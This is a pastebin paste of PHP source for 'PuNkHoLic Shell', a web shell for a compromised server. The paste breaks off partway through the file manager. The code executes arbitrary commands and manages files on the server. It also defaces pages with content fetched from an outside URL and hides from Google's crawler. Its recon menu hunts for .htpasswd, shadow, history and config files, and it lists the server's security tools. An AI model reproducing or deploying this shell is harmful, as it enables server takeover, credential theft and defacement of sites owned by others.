· 9 years ago · Sep 16, 2017, 03:32 PM
1<?php
2$deface_url='http://pastebin.com/raw/xCjJQYHH';
3$UserName="fuck";
4$auth_pass="you";
5$color="#ABEFFA";
6$Theme='#09B5A7';
7$TabsColor='#0E5062';
8$default_action='FilesMan';
9@define('SELF_PATH',__FILE__);
10if(strpos($_SERVER['HTTP_USER_AGENT'],'Google')!==false){
11header('HTTP/1.0 404 Not Found');
12exit;
13}
14@session_start();
15@error_reporting(0);
16@ini_set('error_log',NULL);
17@ini_set('display_errors',0);
18@ini_set('log_errors',0);
19@ini_set('max_execution_time',0);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22if(get_magic_quotes_gpc()){
23function stripslashes_array($array){
24return is_array($array)?array_map('stripslashes_array',$array):stripslashes($array);
25}
26$_POST=stripslashes_array($_POST);
27}
28function printLogin(){
29if($_POST['pass']!=$auth_pass&&$_POST['uname']!=$UserName){
30$status='Wrong Password or UserName :(';
31}
32?>
33<html>
34<head>
35<title>PuNkHoLic shell</title>
36<link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
37</head>
38<style>
39body{
40font-family:Josefin Sans,sans-serif;
41background:black;
42color:#ABEFFF;
43}
44}
45.loginpage{
46height:400px;
47width:500px;
48border:1px solid;
49border-color:#ABEFFF;
50text-align:center;
51border-radius:5px;
52margin-top:100px;
53}
54#pageheading{
55font-size:25px;
56color:#ABEFFF;
57margin-top:10px;
58}
59.loginpage img{
60width:500px;
61}
62input{
63background:black;
64border-color:#ABEFFF;
65border-radius:10px;
66margin-top:10px;
67padding:5px;
68color:#ABEFFF;
69}
70input:hover{
71background:#ABEFFF;
72color:red;
73}
74</style>
75<body>
76<center>
77<div class="loginpage">
78<img src="http://i.imgur.com/il1o2RI.jpg"alt="PuNkHoLic">
79<div id="pageheading">PuNkHoLic Shell</div>
80<form method="post">
81User Name:<input type="text"name="uname"><br>
82Password:<input type="password"name="pass"><br>
83<input type="submit" name="login" value="Login">
84<?php
85if (isset($status)) {
86?>
87</form>
88</d<p><?=$status?></p>
89</center>
90</body>
91</html>
92<?php
93}
94exit;
95}
96if(!isset( $_SESSION[md5($_SERVER['HTTP_HOST'])]))
97if(empty( $auth_pass )||
98(isset($_POST['pass']) &&($_POST['pass']) == $auth_pass&& ($_POST['uname']) == $UserName))
99$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
100else
101printLogin();
102if(strtolower(substr(PHP_OS,0,3))=="win")
103$os='win';
104else
105$os='nix';
106$safe_mode=@ini_get('safe_mode');
107$disable_functions = @ini_get('disable_functions');
108$home_cwd=@getcwd();
109if( isset($_POST['c']))
110@chdir($_POST['c']);
111$cwd = @getcwd();
112if( $os == 'win') {
113$home_cwd=str_replace("\\", "/", $home_cwd);
114$cwd=str_replace("\\", "/", $cwd);
115}
116if($cwd[strlen($cwd)-1]!= '/' )
117$cwd .= '/';
118if($os=='win'){
119$aliases = array(
120"List Directory" => "dir",
121"Find index.php in current dir" => "dir /s /w /b index.php",
122"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
123"Show active connections" => "netstat -an",
124"Show running services" => "net start",
125"User accounts" => "net user",
126"Show computers" => "net view",
127"ARP Table" => "arp -a",
128"IP Configuration" => "ipconfig /all"
129);
130}
131else{
132$aliases = array(
133"List dir" => "ls -la",
134"list file attributes on a Linux second extended file system" => "lsattr -va",
135"show opened ports" => "netstat -an | grep -i listen",
136"Find" => "",
137"find all suid files" => "find / -type f -perm -04000 -ls",
138"find suid files in current dir" => "find . -type f -perm -04000 -ls",
139"find all sgid files" => "find / -type f -perm -02000 -ls",
140"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
141"find config.inc.php files" => "find / -type f -name config.inc.php",
142"find config* files" => "find / -type f -name \"config*\"",
143"find config* files in current dir" => "find . -type f -name \"config*\"",
144"find all writable folders and files" => "find / -perm -2 -ls",
145"find all writable folders and files in current dir" => "find . -perm -2 -ls",
146"find all service.pwd files" => "find / -type f -name service.pwd",
147"find service.pwd files in current dir" => "find . -type f -name service.pwd",
148"find all .htpasswd files" => "find / -type f -name .htpasswd",
149"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
150"find all .bash_history files" => "find / -type f -name .bash_history",
151"find .bash_history files in current dir" => "find . -type f -name .bash_history",
152"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
153"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
154"Locate" => "",
155"locate httpd.conf files" => "locate httpd.conf",
156"locate vhosts.conf files" => "locate vhosts.conf",
157"locate proftpd.conf files" => "locate proftpd.conf",
158"locate psybnc.conf files" => "locate psybnc.conf",
159"locate my.conf files" => "locate my.conf",
160"locate admin.php files" =>"locate admin.php",
161"locate cfg.php files" => "locate cfg.php",
162"locate conf.php files" => "locate conf.php",
163"locate config.dat files" => "locate config.dat",
164"locate config.php files" => "locate config.php",
165"locate config.inc files" => "locate config.inc",
166"locate config.inc.php" => "locate config.inc.php",
167"locate config.default.php files" => "locate config.default.php",
168"locate config* files " => "locate config",
169"locate .conf files"=>"locate '.conf'",
170"locate .pwd files" => "locate '.pwd'",
171"locate .sql files" => "locate '.sql'",
172"locate .htpasswd files" => "locate '.htpasswd'",
173"locate .bash_history files" => "locate '.bash_history'",
174"locate .mysql_history files" => "locate '.mysql_history'",
175"locate .fetchmailrc files" => "locate '.fetchmailrc'",
176"locate backup files" => "locate backup",
177"locate dump files" => "locate dump",
178"locate priv files" => "locate priv"
179);
180}
181if(isset($_POST['p1']) && $_POST['p1']=='deface') {
182$def = file_get_contents($deface_url);
183file_put_contents($_POST['c'].$_POST['p2'],$def);
184}
185function ex($in) {
186$out = '';
187if ( function_exists(' exec ')) {
188@exec($in,$out);
189$out = @join("\n",$out);
190}elseif(function_exists('passthru')) {
191ob_start();
192@passthru($in);
193$out = ob_get_clean();
194}elseif(function_exists('system')) {
195ob_start();
196@system($in);
197$out = ob_get_clean();
198}elseif(function_exists('shell_exec')) {
199$out = shell_exec($in);
200}elseif(is_resource($f = @popen($in,"r"))) {
201$out = "";
202while(!@feof($f))
203$out .= fread($f,1024);
204pclose($f);
205}
206return $out;
207}
208function which($p) {
209$path = ex('which '.$p);
210if(!empty($path))
211return $path;
212return false;
213}
214function printHeader() {
215if(empty($_POST['charset']))
216$_POST['charset'] = "UTF-8";
217global $color;
218global $Theme;
219global $TabsColor;
220echo "<html><head><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
221echo '<html>
222<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>PuNkHoLic Shell</title>
223<style>
224body {background-color:black;color:#fff;}
225body,td,th{ font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
226span,h1,a{ color:'.$color.' !important; }
227span{ font-weight: bolder; }
228h1{ padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
229div.content{ padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
230a{ text-decoration:none; }
231a:hover{ border-bottom:0px solid #5e5e5e;text-decoration:none; }
232a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
233.ml1{ border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
234.bigarea{ width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
235input, textarea, select{ margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
236input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;}
237form{ margin:0px; background:#0F1010;}
238#toolsTbl{ text-align:center; }
239.toolsInp{ width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
240.main th{text-align:left;background-color:'.$TabsColor.';}
241.main tr:hover{background:'.$Theme.'; border:5px solid;border-color:'.$Theme.';}
242.main td, th{vertical-align:middle;}
243.menu { height:30px; border-radius:10px;}
244.menu th{padding:1px;border-radius: 5px;background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
245-moz-transform: rotate(20deg);
246-o-transform: rotate(20deg);
247-ms-transform: rotate(20deg);
248transform: rotate(20deg);}
249.menu th:hover{background:#0F1010;text-decoration: none;}
250pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
251#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
252.cpr {margin-bottom:5px;font-weight:bold; }
253.cpb {width:34px;margin:0 5px;}
254.npoad td {padding:0;}
255#PuNkHoLictools{
256margin-top:50px;
257width:500px;
258border:1px solid;
259border-radius:10px;
260}
261.PuNkHoLiclogo td{
262font-size:12px;
263font-weight:bold;
264}
265.PuNkHoLiclogo{
266margin-left:5px;
267background-repeat: no-repeat;
268background-position: CENTER;
269background-color:#0F1010;
270background-size: 400px 120px;
271}
272</style>
273</html>
274<style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
275<script>
276function set(a,c,p1,p2,p3,charset) {
277if(a != null)document.mf.a.value=a;
278if(c != null)document.mf.c.value=c;
279if(p1 != null)document.mf.p1.value=p1;
280if(p2 != null)document.mf.p2.value=p2;
281if(p3 != null)document.mf.p3.value=p3;
282if(charset != null)document.mf.charset.value=charset;
283}
284function g(a,c,p1,p2,p3,charset) {
285set(a,c,p1,p2,p3,charset);
286document.mf.submit();
287}
288function a(a,c,p1,p2,p3,charset) {
289set(a,c,p1,p2,p3,charset);
290var params = "ajax=true";
291for(i=0;i<document.mf.elements.length;i++)
292params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
293sr("'.$_SERVER['REQUEST_URI'].'", params);
294}
295function sr(url, params) {
296if (window.XMLHttpRequest) {
297req = new XMLHttpRequest();
298req.onreadystatechange = processReqChange;
299req.open("POST", url, true);
300req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
301req.send(params);
302}
303else if (window.ActiveXObject) {
304req = new ActiveXObject("Microsoft.XMLHTTP");
305if (req) {
306req.onreadystatechange = processReqChange;
307req.open("POST", url, true);
308req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
309req.send(params);
310}
311}
312}
313function processReqChange() {
314if( (req.readyState == 4) )
315if(req.status == 200) {
316//alert(req.responseText);
317var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
318var arr=reg.exec(req.responseText);
319eval(arr[2].substr(0, arr[1]));
320}
321else alert("Request error!");
322}
323</script>
324<head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
325<form method=post name=mf style="display:none;">
326<input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
327<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
328<input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
329<input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
330<input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
331<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
332</form>';
333$freeSpace = @diskfreespace($GLOBALS['cwd']);
334$totalSpace = @disk_total_space($GLOBALS['cwd']);
335$totalSpace = $totalSpace?$totalSpace:1;
336$disable_functions = @ini_get('disable_functions');
337$release = @php_uname('r');
338$kernel = @php_uname('s');
339if(!function_exists('posix_getegid')) {
340$user = @get_current_user();
341$uid = @getmyuid();
342$gid = @getmygid();
343$group = "?";
344} else {
345$uid = @posix_getpwuid(@posix_geteuid());
346$gid = @posix_getgrgid(@posix_getegid());
347$user = $uid['name'];
348$uid = $uid['uid'];
349$group = $gid['name'];
350$gid = $gid['gid'];
351}
352$cwd_links = '';
353$path = explode("/", $GLOBALS['cwd']);
354$n=count($path);
355for($i=0;$i<$n-1;$i++) {
356$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
357for($j=0;$j<=$i;$j++)
358$cwd_links .= $path[$j].'/';
359$cwd_links .= "\")'>".$path[$i]."/</a>";
360}
361$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
362$opt_charsets = '';
363foreach($charsets as $item)
364$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
365$m = array('Import Scripts'=>'ImportScripts','Jumping'=>'Jumping','Symlink'=>'Symlink','Domains' => 'Domain','Shared Hostings'=>'Shared','Sym Sites'=>'Sym','Subdomain'=>'Subdomain','Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Safe Mode'=>'Bypass','String tools'=>'StringTools','Defacer' => 'Deface','Recursive Defacer'=>'Defacer');
366if(!empty($GLOBALS['auth_pass']))
367$m['Logout'] = 'Logout';
368$menu = '';
369foreach($m as $k => $v)
370$menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
371$drives = "";
372if ($GLOBALS['os'] == 'win') {
373foreach( range('a','z') as $drive ){
374if (is_dir($drive.':\\'))
375$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
376}
377$drives .= '<br />: ';
378}
379if($GLOBALS['os'] == 'nix') {
380$dominios = @file_get_contents("/etc/named.conf");
381if(!$dominios) {
382$DomainS = "/var/named";
383$Domainonserver = scandir($DomainS);
384$d0c = count($Domainonserver);
385} else {
386@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
387$out = sizeof(array_unique($out[1]));
388$d0c = $out."Domains";
389}
390} else {
391$d0c = "Nothing here bro:(";
392}
393if($GLOBALS['os'] == 'nix' )
394{
395$usefl = ''; $dwnldr = '';
396if(!@ini_get('safe_mode')) {
397$temp = array();
398$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
399foreach($userful as $item) { if(which($item)) $temp[]= $item; }
400$usefl = implode(', ',$temp);
401$temp = array();
402$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
403foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
404$dwnldr = implode(', ',$temp);
405} else {
406$usefl = ' ------- '; $dwnldr = ' ------- ';
407}
408} else {
409$usefl = ' ------- '; $dwnldr = ' ------- ';
410}
411echo '<div class="PuNkHoLiclogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
412<td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
413<tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
414 '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
415 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
416 '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
417}
418function printFooter() {
419$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
420echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
421<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
422<tr>
423<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
424<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
425</tr>
426<tr>
427<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
428<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
429</tr>
430<tr>
431<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
432<td><form method="post" ENCTYPE="multipart/form-data">
433<input type=hidden name=a value="FilesMAn">
434<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
435<input type=hidden name=p1 value="uploadFile">
436<input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
437<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
438</tr>
439</table></div></div>
440<div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">PuNkHoLic Shell coded by <a href="https://www.facebook.com/niraj.ghimire.5454"> PuNkHoLic</a></div></div>
441</div>
442</body></html>';
443}
444if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
445if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
446function viewSize($s) {
447if($s >= 1073741824)
448return sprintf('%1.2f', $s / 1073741824 ). ' GB';
449elseif($s >= 1048576)
450return sprintf('%1.2f', $s / 1048576 ) . ' MB';
451elseif($s >= 1024)
452return sprintf('%1.2f', $s / 1024 ) . ' KB';
453else
454return $s . ' B';
455}
456function perms($p) {
457if (($p & 0xC000) == 0xC000)$i = 's';
458elseif (($p & 0xA000) == 0xA000)$i = 'l';
459elseif (($p & 0x8000) == 0x8000)$i = '-';
460elseif (($p & 0x6000) == 0x6000)$i = 'b';
461elseif (($p & 0x4000) == 0x4000)$i = 'd';
462elseif (($p & 0x2000) == 0x2000)$i = 'c';
463elseif (($p & 0x1000) == 0x1000)$i = 'p';
464else $i = 'u';
465$i .= (($p & 0x0100) ? 'r' : '-');
466$i .= (($p & 0x0080) ? 'w' : '-');
467$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
468$i .= (($p & 0x0020) ? 'r' : '-');
469$i .= (($p & 0x0010) ? 'w' : '-');
470$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
471$i .= (($p & 0x0004) ? 'r' : '-');
472$i .= (($p & 0x0002) ? 'w' : '-');
473$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
474return $i;
475}
476function viewPermsColor($f) {
477if (!@is_readable($f))
478return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
479elseif (!@is_writable($f))
480return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
481else
482return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
483}
484if(!function_exists("scandir")) {
485function scandir($dir) {
486$dh= opendir($dir);
487while (false !== ($filename = readdir($dh))) {
488$files[] = $filename;
489}
490return $files;
491}
492}
493function actionSecInfo() {
494printHeader();
495echo '<h1>Server security information</h1><div class=content>';
496function showSecParam($n, $v) {
497$v = trim($v);
498if($v) {
499echo '<span>'.$n.': </span>';
500if(strpos($v, "\n") === false)
501echo $v.'<br>';
502else
503echo '<pre class=ml1>'.$v.'</pre>';
504}
505}
506showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
507showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
508showSecParam('Open base dir', @ini_get('open_basedir'));
509showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
510showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
511showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
512$temp=array();
513if(function_exists('mysql_get_client_info'))
514$temp[] = "MySql (".mysql_get_client_info().")";
515if(function_exists('mssql_connect'))
516$temp[] = "MSSQL";
517if(function_exists('pg_connect'))
518$temp[] = "PostgreSQL";
519if(function_exists('oci_connect'))
520$temp[] = "Oracle";
521showSecParam('Supported databases', implode(', ', $temp));
522echo '<br>';
523if( $GLOBALS['os'] == 'nix' ) {
524$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
525$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
526$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
527showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
528showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
529showSecParam('OS version', @file_get_contents('/proc/version'));
530showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
531if(!$GLOBALS['safe_mode']) {
532echo '<br>';
533$temp=array();
534foreach ($userful as $item)
535if(which($item)){$temp[]=$item;}
536showSecParam('Userful', implode(', ',$temp));
537$temp=array();
538foreach ($danger as $item)
539if(which($item)){$temp[]=$item;}
540showSecParam('Danger', implode(', ',$temp));
541$temp=array();
542foreach ($downloaders as $item)
543if(which($item)){$temp[]=$item;}
544showSecParam('Downloaders', implode(', ',$temp));
545echo '<br/>';
546showSecParam('Hosts', @file_get_contents('/etc/hosts'));
547showSecParam('HDD space', ex('df -h'));
548showSecParam('Mount options', @file_get_contents('/etc/fstab'));
549}
550} else {
551showSecParam('OS Version',ex('ver'));
552showSecParam('Account Settings',ex('net accounts'));
553showSecParam('User Accounts',ex('net user'));
554}
555echo '</div>';
556printFooter();
557}
558function actionFilesMan() {
559printHeader();
560echo '<h1>File manager</h1><div class=content>';
561if(isset($_POST['p1']) && $_POST['p1']!='deface') {
562switch($_POST['p1']) {
563case 'uploadFile':
564if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
565echo "Can't upload file!";
566break;
567break;
568case 'mkdir':
569if(!@mkdir($_POST['p2']))
570echo "Can't create new dir";
571break;
572case 'delete':
573function deleteDir($path) {
574$path = (substr($path,-1)=='/') ? $path:$path.'/';
575$dh= opendir($path);
576while ( ($item = readdir($dh) ) !== false) {
577$item = $path.$item;
578if ( (basename($item) == "..") || (basename($item) == ".") )
579continue;
580$type = filetype($item);
581if ($type == "dir")
582deleteDir($item);
583else
584@unlink($item);
585}
586closedir($dh);
587rmdir($path);
588}
589if(is_array(@$_POST['f']))
590foreach($_POST['f'] as $f) {
591$f = urldecode($f);
592if(is_dir($f))
593deleteDir($f);
594else
595@unlink($f);
596}
597break;
598case 'paste':
599if($_SESSION['act'] == 'copy') {
600function copy_paste($c,$s,$d){
601if(is_dir($c.$s)){
602mkdir($d.$s);
603$h = opendir($c.$s);
604while (($f = readdir($h)) !== false)
605if (($f != ".") and ($f != "..")) {
606copy_paste($c.$s.'/',$f, $d.$s.'/');
607}
608} elseif(is_file($c.$s)) {
609@copy($c.$s, $d.$s);
610}
611}
612foreach($_SESSION['f'] as $f)
613copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
614} elseif($_SESSION['act'] == 'move') {
615function move_paste($c,$s,$d){
616if(is_dir($c.$s)){
617mkdir($d.$s);
618$h = opendir($c.$s);
619while (($f = readdir($h)) !== false)
620if (($f != ".") and ($f != "..")) {
621copy_paste($c.$s.'/',$f, $d.$s.'/');
622}
623} elseif(is_file($c.$s)) {
624@copy($c.$s, $d.$s);
625}
626}
627foreach($_SESSION['f'] as $f)
628@rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
629}
630unset($_SESSION['f']);
631break;
632default:
633if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
634$_SESSION['act'] = @$_POST['p1'];
635$_SESSION['f'] = @$_POST['f'];
636foreach($_SESSION['f'] as $k => $f)
637$_SESSION['f'][$k] = urldecode($f);
638$_SESSION['cwd'] = @$_POST['c'];
639}
640break;
641}
642echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
643}
644$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
645if($dirContent === false) {echo 'Can\'t open this folder!'; return;}
646global $sort;
647$sort = array('name', 1);
648if(!empty($_POST['p1'])) {
649if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
650$sort = array($match[1], (int)$match[2]);
651}
652echo '<script>
653function sa() {
654for(i=0;i<document.files.elements.length;i++)
655if(document.files.elements[i].type == \'checkbox\')
656document.files.elements[i].checked = document.files.elements[0].checked;
657}
658</script>
659<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
660<form name=files method=post>';
661echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
662$dirs = $files = $links = array();
663$n = count($dirContent);
664for($i=0;$i<$n;$i++) {
665$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
666$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
667$tmp = array('name' => $dirContent[$i],
668 'path' => $GLOBALS['cwd'].$dirContent[$i],
669 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
670 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
671 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
672 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
673 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
674);
675if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
676$files[] = array_merge($tmp, array('type' => 'file'));
677elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
678$links[] = array_merge($tmp, array('type' => 'link'));
679elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
680$dirs[] = array_merge($tmp, array('type' => 'dir'));
681}
682$GLOBALS['sort'] = $sort;
683function cmp($a, $b) {
684if($GLOBALS['sort'][0] != 'size')
685return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
686else
687return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
688}
689usort($files, "cmp");
690usort($dirs, "cmp");
691usort($links, "cmp");
692$files = array_merge($dirs, $links, $files);
693$l = 0;
694foreach($files as $f) {
